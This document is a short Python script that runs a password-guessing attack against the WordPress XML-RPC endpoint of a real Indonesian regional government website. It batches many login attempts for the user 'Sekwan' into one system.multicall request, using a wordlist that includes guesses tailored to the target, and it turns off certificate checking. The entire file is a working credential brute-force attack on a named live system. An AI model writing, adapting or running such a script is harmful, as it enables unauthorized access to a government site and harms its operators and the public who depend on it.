import urllib.request
import ssl

passwords = [
    "admin123", "Admin123", "123456", "12345678", "qwerty", "admin", "administrator",
    "Sekwan@123", "sekwan@123", "Sekwan!123", "dprd123", "dprd2025", "dprd2024", 
    "tanjungbalai123", "Tanjungbalai123", "sekretariat", "sekretariat123",
    "password1", "Password1", "admin@123", "Super123", "superadmin", "SuperAdmin123",
    "letmein", "welcome", "123456789", "1234567890", "pass123", "pass1234",
    "Sekwan1234", "sekwan1234", "setwandprd", "dprdkota", "kotaku", "balai123"
]

xml_tmpl = '''<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params><param><value><array><data>{calls}</data></array></value></param></params>
</methodCall>'''

call_tmpl = '''<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data><value><string>Sekwan</string></value><value><string>{pw}</string></value></data></array></value></member>
</struct></value>'''

calls = "".join([call_tmpl.format(pw=p) for p in passwords])
payload = xml_tmpl.format(calls=calls)

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

req = urllib.request.Request(
    "https://sekwan.tanjungbalaikota.go.id/xmlrpc.php",
    data=payload.encode(),
    method="POST"
)

try:
    with urllib.request.urlopen(req, timeout=60, context=ctx) as resp:
        data = resp.read().decode()
        if "isAdmin" in data or "<array><data>" in data and "faultCode" not in data.split("<array><data>")[1].split("</data>")[0]:
            print("POSSIBLE HIT!")
            print(data[:2000])
        elif "faultCode" in data:
            lines = data.split("<value><struct>")
            for i, line in enumerate(lines[1:]):
                if "403" not in line and "faultCode" not in line:
                    print(f"Password {passwords[i]} might work!")
                    print(line[:500])
        else:
            print(data[:500])
except Exception as e:
    print(f"Error: {e}")